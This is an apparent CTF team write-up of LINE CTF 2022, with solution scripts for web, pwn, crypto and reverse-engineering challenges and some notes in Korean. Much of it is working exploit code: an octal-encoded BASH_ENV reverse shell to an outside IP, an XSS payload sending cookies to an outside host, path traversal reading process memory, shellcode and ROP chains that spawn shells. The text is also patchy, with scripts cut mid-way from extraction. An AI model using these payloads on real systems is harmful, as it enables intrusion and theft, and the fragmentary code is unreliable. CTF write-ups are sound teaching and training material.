LINE CTF 2022 Write Up - The Duck
LINE CTF 2022 Write Up - The Duck
Welcome 3
Web - bb 3
Web - gotm 4
Pwn - ecrypt 11
pwn - simbox 17
Pwn - mail 21
Pwn - call-of-fake 23
Pwn - song 27
Crypto - X Factor 31
Crypto - ss-puzzle 32
Crypto - Forward-or 33
Crypto - lazy-STEK 36
Rev - rolling 39
Rev - RES 43
2
Welcome
Welcome to LINECTF 2022!
FLAG: LINECTF{welcome_to_LINECTF2022}
Web - bb
BASH_ENV with octal encoding
http://34.84.151.109/?env[BASH_ENV]=`$%27\163\150%27%200%3E%20$%27\057\144\145\1
66\057\164\143\160\057\064\065\056\063\063\056\061\066\056\071\057\064\064\064\060%27`
FLAG: LINECTF{well..what_do_you_think_about}
3
Web - gotm
The main page returns the username through the go-template, we can abuse it to return the
whole structure members. Hence, we can get a JWT secret key, and make a valid token of
admin.
data = {
"id": "{{.}}asdfasdf",
"pw": "password"
}
h = {
"Content-Type": "application/x-www-form-urlencoded"
}
while True:
c = post(url+'/regist', params=data, headers=h)
print(c.status_code)
print(c.text)
print(c.headers)
# h['X-Token'] = c.json()['token']
h['X-Token'] =
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7LnNlY3JldF9rZXl9fWFzZGZhc2RmIiwiaX
NfYWRtaW4iOnRydWV9.FwQnlWRvtd4A0h-TUvsJEAHbouXj0vPD6MNBYQO8-iQ'
c = get(url+'/flag', params=data, headers=h)
print(c.status_code)
print(c.text)
print(c.headers)
FLAG: LINECTF{country_roads_takes_me_home}
4
Web - Haribote Secure Note
We didn’t know the intended solutions like a “script data double escaped state”, …
So create a lot of script gadgets and then use them.
</script>
<iframe name="http://wooeong.kr/"
src="/shared/W2AFDhSTvBKB8sMzfFuKz0V0KtvvXx7hJyljIobLYQBuqv5ViheK0fmBFQUpdWZY"></ifr
ame> <!-- top.w=name -->
<iframe name="cookie"
src="/shared/4JP6svwSvFaVDjs8b1O0qZXfe36v7c4ffBw2SPLBytvvAN531b5jvPZuI8DKqkBI"></ifr
ame> <!-- top.x=name -->
<iframe
src=/https/www.scribd.com/shared/v6PuJ7Yk0tF5WqAgZCGVUR4EHt6ZzzIS7QAWQ70iGpjPMsg5Vg5ifvEwXQ5KueO7></ifram
e> <!-- top.y=open -->
<iframe src=/https/www.scribd.com/shared/s1emVhn6mtAGo16hulofQ4kOADllnlr9UH7KjhCjM5WD41TRsVBbtO9YXzBgXQFW
name=a></iframe> <!-- a=document -->
<!--
Display Name: ";y(w+a.a[x]);//
-->
FLAG:
LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp1
3te_s3cur17y}
5
Web - title todo
Scroll to Text Fragment and text check through cache HIT.
import requests, time
#URL = 'localhost'
URL = "35.187.204.223"
cookies = {
'session':
'.eJwlzj0OwjAMQOG7ZGZI_BPHvUwVO7ZgbemEuDuV2J-evk_Z84jzWbb3ccWj7K9VtpItkcJFkkZ3brMPSj
a3tOpkUcN16HQI8iVWh8mABUQDm1nTjjxzNQVGQXCuIJ1rCCxs0kkx-e5M_D4Thc6KM6ZCiPqETuWGXGccf0
3rWL4_R3IvoQ.Yj99ag.7QeXz3uxX8kN0FjhcnuxBR5ERP0',
}
flag = "LINECTF{0/5/d/b/a/e/e/7/c/c/}"
# upload
headers = {
'Content-Type': 'application/json',
}
file_path = "asd.png"
file_data = '''hi'''
response = requests.post(f'http://{URL}/image/upload', headers=headers,
cookies=cookies, files={'img_file':(file_path, file_data)}, verify=False)
img_url = response.json().get('img_url', None)
print(URL+img_url)
if not img_url:
print('Upload Fail')
exit()
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
data = {
'title': 'ab'*5000,
'img_url': f"{img_url} loading=lazy"
}
if True: # share
json_data = {
'path': f'image/{ImageId}#:~:text={flag}',
}
response = requests.post(f'http://{URL}/share', cookies=cookies, json=json_data)
print(response)
print(response.text)
6
time.sleep(1.5)
# cache check
r = requests.get(f'http://{URL}{img_url}')
cache_status = r.headers['X-Cache-Status']
if cache_status == "HIT":
print('FLAG :', flag)
FLAG: LINECTF{0/5/d/b/a/e/e/7/c/c/}
7
Web - online library
To preserve exploit code on memory
from socket import socket
s = socket(2,1)
s.connect(('35.243.100.112', 80))
data =
b'<script>location.href="https://gdkskbp.request.dreamhack.games/"+document.cookie;<
/script>'*100
{data}
'''.replace('\n', '\r\n').format(data_len=len(data),
data=data[:len(data)-10]).encode('latin-1'))
while True:
s.recv(1024)
mem finder
from requests import get, post
url =
'http://35.243.100.112/..%2f..%2f..%2f%2f..%2f..%2f..%2fproc%2fself%2fmaps/0/10000'
# go identify
target = '//gdkskbp.request.dreamhack.games/'
c = post('http://35.243.100.112/identify', data={'username': target + 'junoim1234'})
print(c.headers)
print(c.text)
exit(0)
heap = 0x050f3000
end = 0x0590e000
url =
'http://35.243.100.112/..%2f..%2f..%2f%2f..%2f..%2f..%2fproc%2fself%2fmem/{s}/{e}'
8
open('output.bin', 'wb').write(c.content)
print(i)
FLAG: LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}
9
Web - Memo Drive
def view(request):
context = {}
try:
context['request'] = request
clientId = getClientID(request.client.host)
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filenameo
context['contents'] = contents
except:
pass
http://34.146.195.115/view?2987bf4c72b6ade55901d57df14810f7=flag;/%2E%2E
path = ‘./memo/../flag’ 로 설정됨.
FLAG: LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}
10
Pwn - ecrypt
$ su
# cat /flag
FLAG: LINECTF{WOW!_powerful_kernel_oor_oow}
11
Pwn - trust code
iv와 encrypted string을 받는 것이 우리가 줄 수 있는 input이다.
이 중 후자는 AES 128 CBC decode 이후에 영향을 미치기 때문에 사실상 건드릴 수 없다.
또한 iv 를 받는 입력에만 0x10 bytes overflow가 있는데, 이 오버플로우로 return address를
덮을 수는 있지만 PIE를 우회하지 못한다. 따라서 return address의 하위 1~2 byte를 덮어 binary
의 컨트롤 플로우를 조작하는 것만이 가능하다.
이 과정에서, return address에 따라 segfault, abort를 일으키는 pc가 달라지는 것을
확인하였는데, 이를 자세히 디버깅 하기 귀찮아서 하나씩 다 해보기로 했다.
# leak.py
from pwn import *
import sys, os
try:
r = remote(sys.argv[1], int(sys.argv[2]))
except:
r = process(bin_name, aslr = False) #, env = {"LD_PRELOAD" : ""})
def rr ():
r.recvuntil (": ")
start_offset = 0x1659
index = 0x0
context.log_level = 'error'
fuzz = False
12
while True:
print ("offset: " + hex(start_offset+index))
#r = process(bin_name, aslr = False) #, env = {"LD_PRELOAD" : ""})
offset = start_offset + index
payload = os.urandom(0x18) + p16(offset + 0x4000)
#payload = ""*0x18 + "\xff"
iv = payload
r.sendafter ("iv> ", iv)
print r.recv ()
print r.recv ()
print r.recv ()
print r.recv ()
print r.recv ()
print r.recv ()
print r.recv ()
except:
pass
index += 0x1
r.close()
---
```
➜ trust_code python leak.py
[*] For remote: leak.py HOST PORT
[+] Starting local process './trust_code': pid 1135996
[!] ASLR is disabled!
[*] '/home/bincat/ctf/2022-linectf/pwn/trust_code/trust_code'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
offset: 0x1659
= Executed =
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00
= Executed =
\x00\x1c\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00v0nVadznhxnv$nph
Sorry for the inconvenience, there was a problem while decrypting code.
```
13
이유는 모르겠지만 아무튼 secret_key를 얻었다. v0nVadznhxnv$nph
try:
r = remote(sys.argv[1], int(sys.argv[2]))
except:
r = process(bin_name, aslr = False) #, env = {"LD_PRELOAD" : ""})
def rr ():
r.recvuntil (": ")
class AESCryptoCBC():
'''
* iv or key generator *jjj
from Crypto import Random
iv = Random.new().read(AES.block_size) # binary code
import secrets
iv = secrets.token_hex(8)
'''
def __init__(self):
14
from Crypto.Cipher import AES
key = 'v0nVadznhxnv$nph'
iv = '\x00'*0x10
self.crypto = AES.new(key, AES.MODE_CBC, iv)
fuzz = False
print ("offset: " + hex(start_offset+index))
do_debug("c")
offset = start_offset + index
#payload = os.urandom(0x18) + p16(offset + 0x4000)
payload = "\x00"*0x10
iv = payload
r.sendafter ("iv> ", iv)
sh = asm(shellcraft.amd64.sh(), arch='amd64')
ss = """
push 0x68732f6e
push 0x69622f2f
push rsp
pop r14
mov dx, 0x151f
xor dx, 0x1010
push rdx
pop r15
pop rdi
pop rdi
ret
"""
sh = asm(ss, arch='amd64', os ='linux')
print (disasm(sh, arch='amd64'))
print (len(sh))
cryptor = AESCryptoCBC()
#code = AESCryptoCBC().encrypt("TRUST_CODE_ONLY!" + sh.ljust(0x20, "\x90"))
code = cryptor.encrypt("TRUST_CODE_ONLY!" + sh.ljust(0x20, "\x90"))
15
#print len(code)
r.sendafter ("code> ", code.ljust(0x30))
#r.interactive()
r.sendlineafter("done?", "n")
ss = """
push r15
pop rbx
push rsi
pop rdx
xor rsi, rsi
call js
js:
pop rsi
mov [rsi+0x10], rbx
xor rax, rax
xor rdi, rdi
"""
sh2 = asm(ss, arch='amd64', os ='linux')
print (disasm(sh2, arch='amd64'))
print (len(sh))
r.interactive()
```
➜ trust_code python sol.py 35.190.227.47 10009
[*] For remote: sol.py HOST PORT
[+] Opening connection to 35.190.227.47 on port 10009: Done
[*] '/home/bincat/ctf/2022-linectf/pwn/trust_code/trust_code'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FLAG: LINECTF{I_5h0uld_n0t_trust_my_c0de}
16
pwn - simbox
Patch diff상으로는 flag or simbox파일을 open하면 return -1를 하도록 패치한 것 처럼보인다.
하지만 while, if 문 모두 중괄호 없이 사용되었었는데 그 사이에 패치하면서 내부적 으로는
return 0이 되게 scope가 된 것 으로 생각된다. 그렇기 때문에 이를 이용하여 malloc되는 곳을
shellcode로 덮어 써 flag를 읽을 수 있었다.
context.arch = 'arm'
#r = process(['./arm-run', './simbox'])
r = remote('35.243.120.147', 10007)
data =
b'http:///?list=0&list=1&list=2&list=3&list=4&list=5&list=6&list=7&list=8&list=9&list=10&list=1
1&list=12&list=13&list=14&list=15&list=16&list=17&list=18&list=19&list=20&list=21&list=22&list=
23&list=24&list=25&list=26&list=27&list=28&list=29&list=30&list=31&list=32&list=33&list=34&list
=35&list=36&list=37&list=38&list=39&list=40&list=41&list=42&list=43&list=44&list=45&list=46&lis
t=47&list=48&list=49&list=50&list=51&list=52&list=53&list=54&list=55&list=56&list=57&list=58&li
st=59&list=60&list=61&list=62&list=63&list=7&list=7&list=7&list=7&list=7&list=7&list=7&list=8&l
ist=9&list=79&'
data += b'/home/simbox/flag\x00'
data = data.ljust(700, b'A')
data += asm('''
mov r0, #0x24800
mov r1, #0
mov r2, #0x09d70
mov lr, pc
17
mov pc, r2
/*
mov r4, r0
mov r0, r4
*/
mov r0, #1
mov r1, #0x25000
mov r2, #0x1000
mov r3, #0x9ba0
mov lr, pc
mov pc, r3
mov r0, #0
mov r1, #0x8400
mov lr, pc
mov pc, r1
''')
r.sendline(data)
for x in range(81):
r.recvuntil(b'\n')
d = r.recvn(0x1000)
print(d)
print(binascii.hexlify(d))
FLAG: LINECTF{My_c4t_escaped_from_the_simBox!}
18
Pwn - IPC Handler
Protobuf 형식으로 입력을 받으며, 바이너리 내에 있는 DescriptorPool을 덤프하면 해당 proto
파일을 복구할 수 있다. (pbtk 사용해서 디컴파일)
context.clear(binary=ELF('/home/jinmo/ipc/ipc_handler'))
rop = ROP(context.binary)
xpc = XPC()
xpc.conn_id = 1
x = xpc.dict.add()
x.header = b'XPC!'
print(x)
data = x.data.add()
data.key = 'process_name'
data.value_type = DATA
rop = flat([
0x0000000000413ac3,
1,
0x000000000041597A,
0,
1,
4,
0x41f310,
8,
0x41f138,
0x415960,
0, 0, 0, 0, 0, 0, 0,
0x415983, 4, 0x406b27,
])
data.value = bytes(rop)
data = x.data.add()
data.key = 'scalar1'
data.value_type = DATA
data.value = p64(0x0000000000406b1d)
data = x.data.add()
data.key = 'scalar2'
19
data.value_type = UINT64
data.value = b'AAAAAAAA'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pause()
r.send(xpc.SerializeToString())
puts = u64(r.recvn(8))
libc.address = puts - libc.symbols['puts']
print(hex(puts))
print(hex(libc.address))
r = remote(HOST, PORT)
xpc = XPC()
xpc.conn_id = 1
x = xpc.dict.add()
x.header = b'XPC!'
print(x)
data = x.data.add()
data.key = 'process_name'
data.value_type = DATA
print(hex(libc.symbols['dup2']))
rop = flat([
0x415983,
4,
0x0000000000415981,
0,
0,
libc.symbols['dup2'],
0x415983, next(libc.search(b'/bin/sh\x00')), libc.symbols['system'],
])
data.value = bytes(rop)
data = x.data.add()
data.key = 'scalar1'
data.value_type = DATA
data.value = p64(0x0000000000406b1d)
data = x.data.add()
data.key = 'scalar2'
data.value_type = UINT64
data.value = b'AAAAAAAA'
r.send(xpc.SerializeToString())
r.interactive()
FLAG: LINECTF{XPC_4ype_c0nFusion_MEH}
20
Pwn - mail
#r = process('./mail')
r = remote('34.146.156.91', 10004)
r.recvuntil('=====')
r.recvuntil('=====')
#pause()
r.send(b'0\n0\n1\n0\n')
time.sleep(0.2)
r.recvuntil('Inbox message\n')
r.recvuntil('Inbox message\n')
leak = r.recvuntil('\n')
close_addr = u64(leak[:6] + b'\0\0')
print(hex(close_addr))
r.recvuntil('Inbox message\n')
r.recvuntil('Inbox message\n')
leak = r.recvuntil('\n')
leak_addr = u64(leak[:4] + b'\0\0\0\0')
print(hex(leak_addr))
21
data = p64(addr_data + 0x10) # rdi + 8
data += p64(libc_base + 0x0000000000157110) # mov rax, qword ptr [rdi + 8] ; jmp
qword ptr [rax + 0x48]
data += p64(addr_data + 0x18) #
data += b'/bin/sh\0'
data += b'A' * 0x30
data += p64(addr_data + 0x60 - 0x8)
data += p64(libc_base + 0x000000000014d1d5) # mov rdi, qword ptr [rax] ; mov rax,
qword ptr [rdi + 0x38] ; call qword ptr [rax + 8]
data += p64(libc_base + 0x0000000000146a8c) # call qword ptr [rax + 0x10]
data += p64(system_addr)
r.interactive()
FLAG: LINECTF{An07hEr_Em41l_T0_7hE_Sh4red_1nb0x?}
22
Pwn - call-of-fake
Counterfeit Object Oriented Programming을 컨셉으로 낸 문제다.
Heap leak 없이 fake object를 만드는게 불가능하지만, 바이너리 코드 주소 영역은 주어져있다.
사용가능한 메소드들은 사전에 guard에 의해서 정해져있는데, 이중 addTagTwice 함수는 rsi를
조작할 수 있고, addStorage 함수는 원하는 address의 값에 rsi를 더할 수 있다.
이 두가지를 이용하여 GOT table의 exit 함수를 덮은 후, 다른 함수를 덮어 one shot 가젯으로
셸을 획득 했다.
Libc leak을 얻지 못해도, 이미 libc address가 적힌 GOT table 함수에 값을 더할때는 offset만
알면 된다.
try:
r = remote(sys.argv[1], int(sys.argv[2]))
except:
#r = process(["ltrace", bin_name]) #, env = {"LD_PRELOAD" : ""})
r = process([bin_name]) #, env = {"LD_PRELOAD" : ""})
def do_debug (cmd = ''):
try:
if sys.argv[1] == 'debug':
gdb.attach (r, cmd)
except:
pass
def rr ():
r.recvuntil (": ")
cmd = '''
b* 0x0000000000402D91
c
'''
do_debug(cmd)
for i in range(9):
r.sendafter(b'str: ', (chr(0x30+i)*0x20))
23
objvtable = 0x0406D20
objectString
vtable
buffer
size
dummy= 0x6a6a6a6a6a
start = 0x0401310
main = 0x0402687
got_free = 0x0000407080
ret_gadget = 0x401344
# 0x0000000000401100
def fake(func, rsi,string, GM=(gm)):
global objIndex
print (objIndex)
if objIndex <2:
ret = p64(func) + p64(rsi) + p64(0xadad) + p64(0xfafa) + p64(string) +
p64(GM) + p64(dummy)*2
else:
ret = p64(func) + p64(rsi) + p64(0xadad) + p64(0xfafa) + p64(string) +
p64(GM) + p64(dummy)*6
objIndex += 1
return ret
print (hex(elf.bss(0x600)))
#pay = fake(stringGet, 0x4242, 333)+ fake(stringGet, 0x4242, 333)+
24
fake(stringGet, 0x4242, 333)+ fake(stringGet, 0x4242, 333)+ fake(stringGet, 0x4242,
333)+ fake(stringGet, 0x4242, 333) + fake(addTwiceTag, main - 0x0000000000401110,
0x6a6a) + fake (addStorage, 0, 0) + fake(addTwiceTag+1, 1, elf.got['exit'])
pay = fake(stringGet, 0x4242, 333)+ fake(addTwiceTag, main - 0x0000000000401110,
0x6a6a) + fake (addStorage, 0, 0) + fake(addTwiceTag, 0xa0bfe + 3, elf.got['exit'])
+ fake (addStorage, 0, 0) + fake(addTwiceTag+1,0, elf.got['signal'])
r.sendafter(b'heap buffer overflow primitive: ', pay)
objIndex = 0
r.interactive ()
```
➜ calloffake python sol.py 34.146.170.115 10001
[*] For remote: sol.py HOST PORT
[+] Opening connection to 34.146.170.115 on port 10001: Done
[*] '/home/bincat/ctf/2022-linectf/pwn/calloffake/call-of-fake'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
0x4076f0
0
1
2
3
4
5
[*] Switching to interactive mode
$ cat flag
$ cat /*/*/flag
LINECTF{B4By_C0unterfeitO0P!}$
```
FLAG: LINECTF{B4By_C0unterfeitO0P!}
25
Pwn - ecrypt (fixed)
First of all, we found a race condition vulnerability between the fops functions. You can refer to
the link to figure out what we are trying to do:
https://gist.github.com/junomonster/78b7b9012577343c44b40955e7d76f47. Anyway during the
testing phase on the remote server, we can get a root shell when the OOM occurs. Don’t know
why it returns a root shell, but yeah we’ve got a root shell!
FLAG: LINECTF{gDivgq7ktztlbcswvy$bddftnc}
26
Pwn - song
def opener(tag):
return [
b'<',
tag.encode(),
b'>',
]
def closer(tag):
return [
b'</',
tag.encode(),
b'>'
]
while True:
try:
r.close()
27
except:
pass
r = remote(HOST, PORT)
triple = b'\xd8\x00\xd8\x00\xdc\x00'
r.send(payload)
payload = flat(b'<TAG>',
string('TITLE', 2, b''),
string('SINGER', 2, b''),
string('ALBUM', 2, b''),
string('FEATURING', 2, b''),
b'</TAG>'
).ljust(0x10000, b'\x00')
r.send(payload)
payload = flat(b'<TAG>',
string('TITLE', 2, b''),
string('SINGER', 2, b''),
string('ALBUM', 2, b''),
int16('DATE', 0),
int8('TIME', 0),
string('FEATURING', 0, b''),
b'</TAG>'
).ljust(0x10000, b'\x00')
r.send(payload)
payload = flat(b'<TAG>',
string('TITLE', 0, 'A' * 0x100),
string('SINGER', 0, 'B' * 0x400),
string('ALBUM', 2, b''),
int16('DATE', 0),
int8('TIME', 0),
string('FEATURING', 0, b''),
b'</TAG>'
).ljust(0x10000, b'\x00')
r.send(payload)
payload = flat(b'<TAG>',
string('TITLE', 2, b''),
string('SINGER', 2, b''),
string('ALBUM', 0, 'A' * 0x80),
string('FEATURING', 2, b''),
28
b'</TAG>'
).ljust(0x10000, b'\x00')
r.send(payload)
r.send(payload)
for i in range(6):
r.recvuntil('album: ')
heap = u64(r.recvn(6)+b'\x00\x00') - 0x10
print(hex(heap))
try:
p64(heap + 0x12700 >> 8).decode('utf8')
p64(heap + 0x11ee0).decode('utf8')
except:
continue
r.send(payload)
payload = flat(b'<TAG>',
string('TITLE', 2, b''),
string('SINGER', 2, b''),
string('ALBUM', 0, b'A' * 0x80),
string('FEATURING', 2, b''),
b'</TAG>'
).ljust(0x10000, b'\x00')
r.send(payload)
29
payload = triple * 18 + payload.decode('latin1').encode('UTF-16-BE')
payload = flat(b'<TAG>',
string('TITLE', 100, b''),
string('SINGER', 100, b''),
string('ALBUM', 100, b''),
string('FEATURING', 2, payload + p16(0x00a0)
[::-1] + p64(heap + 0x12700 >>
8).decode('utf8').encode('UTF-16-BE')),
b'</TAG>'
).ljust(0x10000, b'\x00')
r.send(payload)
for i in range(3):
r.recvuntil('album: ')
def byteswap(x):
return b''.join(x[i:i+2][::-1] for i in range(0, len(x), 2))
payload = flat(b'<TAG>',
string('TITLE', 2, b''),
string('SINGER', 2, byteswap(flat({0: p64(0x13371337) * 2 +
p64(heap + 0x12ef8-0x40) + p64(libc+0x54f50), 0xf0: p64(
libc+0x000000000019A538), 0xb0: p64(libc+0x1f1658), 0x1d0:
p64(0x1f80), 0xb8: p64(libc+0x522c0), 0x78: p64(libc+0x1b45bd)}).ljust(800))),
string('ALBUM', 100, b''),
string('FEATURING', 2, b''),
b'</TAG>'
).ljust(0x10000, b'\x00')
r.send(payload)
pause()
r.send(payload)
r.interactive()
FLAG: LINECTF{Nday_r37urn_to_lib5tagefr1ght_with_1ibc}
30
Crypto - X Factor
n =
0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e6309
85152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b
432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e
79c5b3
x =
(0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa
0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa6
1cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d
9bdde50 *
pow(0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0
ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806
a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64c
f7c27dfaeb, -1, n) *
pow(0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389
f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac
9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d9
7918cbee4a, 2, n) *
pow(0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9
dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53
ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815
dbe48f7ed4, -1, n) *
pow(0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819
cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d
1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a
0912bed7c, 2, n) *
0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388d
aabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aee
e96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8c
f5dffd *
pow(0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a
7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6f
de6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c3590
9be0a6e13a, -1, n)) % n
print(hex(x)[-32:])
FLAG: LINECTF{a049347a7db8226d496eb55c15b1d840}
31
Crypto - ss-puzzle
S = [None]*4
R = [None]*4
Share = [None]*5
S[0] = b'LINECTF{'
'''
[b'importan', None, b'_based_p', None] [b'LINECTF{', b'Yeah_kno', None, b'text_is_']
'''
print(R, S)
print(flag)
FLAG: LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}
32
Crypto - Forward-or
nonce = bytes.fromhex("32e10325")
counter = 0
target_plain = nonce+counter.to_bytes(4, 'big')
target_enc = b'~H}\xd8L\x9b\xbd\xaa'
table = {}
# print(len(list(product('0123', repeat=10))))
count = 0
for x in product('0123', repeat=10):
if count % 10000 == 0:
print("Stage1", count, '/', 1048576)
key = ''.join(x).encode('latin-1')
cipher0 = Present(key, 16)
res = cipher0.encrypt(target_plain)
table[res] = key
count += 1
print(len(table))
count = 0
for x in product('0123', repeat=10):
if count % 10000 == 0:
print("Stage2", count, '/', 1048576)
key = ''.join(x).encode('latin-1')
cipher1 = Present(key, 16)
res = cipher1.decrypt(target_enc)
if res in table:
print("Found", table[res], key)
exit(0)
count += 1
FLAG: LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}
33
Crypto - Baby crypto revisited
ECDSA 과정 중 난수 k의 일부 비트가 제공된다. 손실된 비트가 64비트이기 때문에 전체를
브루트포싱 하기에는 힘들다. 따라서 이를 Hidden Number Problem으로 변경하여 LLL을
이용해 문제를 해결할 수 있다.
r_s = []
s_s = []
k_s = []
h_s = []
p = 0xffffffffffffffffffffffffffffffff7fffffff
K = GF(p)
a = K(0xffffffffffffffffffffffffffffffff7ffffffc)
b = K(0x1c97befc54bd7a8b65acf89f81d4d4adc565fa45)
E = EllipticCurve(K, (a, b))
G = E(0x4a96b5688ef573284664698968c38bb913cbfc82,
0x23a628553168947d59dcc912042351377ac5fb32)
E.set_order(0x0100000000000000000001f4c8f927aed3ca752257 * 0x01)
q = E.order()
M = matrix(QQ, 102)
B = 2**64
for i in range(50):
M[i, i] = q
M[50 + i, i] = 1 << 96
M[50 + i, 50 + i] = -1
r = r_s[i]
s = s_s[i]
k = k_s[i]
h = h_s[i]
M[100, i] = -r * inverse_mod(s, q) % q
34
M[101, i] = (k - h * inverse_mod(s, q)) % q
M[100, 100] = B / q
M[101, 101] = B
M = M.LLL()
FLAG: LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}
35
Crypto - lazy-STEK
#!/usr/bin/env sage
def polynomial_to_bytes(poly):
return lb(int(bin(poly.integer_representation())[2:].zfill(128)[::-1], 2))
def convert_to_blocks(ciphertext):
return [ciphertext[i:i + 16] for i in range(0 , len(ciphertext), 16)]
36
C2 = AAD + convert_to_blocks(bytes.fromhex(x2[:-32]))
T2 = bytes.fromhex(x2[-32:])
P = G_1 + G_2
import binascii
from hashlib import sha256, sha512
key0_enc_zero = b'\xf0\x9a\xc8\xde6\x06\x8e\xf2\\_\xf3!J\xcbj\xfc'
key1 = sha256(key0_enc_zero).digest()
hashed = sha512(key1).digest()
key_name = hashed[0:16]
aes_key = hashed[16:32]
msg =
binascii.unhexlify('ffd08593ad673b9005296a50f603af28c336d16a10aac82969a59560bbbbbbbb
6fe550ba6db4b6a2af74f6f0454d82d959daa387f694685dec4c1ff7c36e40d3b9fe6e4fd41596035a59
4f8b599b89c47c84aa66d6d63ef3999de5041f0c3b7598b1811012399575a0c442c1c364f669ecf7fd5d
fbb06bc37fd830c03e3dde20c98bc747d74d0ac196936f364c2e81338fca4bdb193d52e19f23295fc9e7
546288a7464baa258fcd554200000000000000000000000000000000')
assert msg[:16] == key_name
iv = msg[16:32]
ct = msg[32:-32]
tag = msg[-32:-16]
37
plaintext = cipher.decrypt_and_verify(ct, tag)
print(plaintext)
FLAG: LINECTF{N0nc3_r3us3_je0p4rd1ze_Hk3y_that_is_us3d_f0r_auth3nt1cat1on}
38
Rev - rolling
JNI 내에서 check 함수를 후킹해 원래 dex에 정의된 동작과 다르게 동작한다. 후킹된 함수를
분석해보면 입력 값을 가져와 meatbox / soulbox / godbox 세 개의 함수의 인자로 전달하여
실행하고 반환 값을 미리 정의된 테이블과 비교하는 방식으로 플래그를 검증한다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define LEFTROTATE(x, c) (((x) << (c)) | ((x) >> (32 - (c))))
39
0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35,
0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f };
uint32_t godbox_k[64] = { 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b, 0x7368706b,
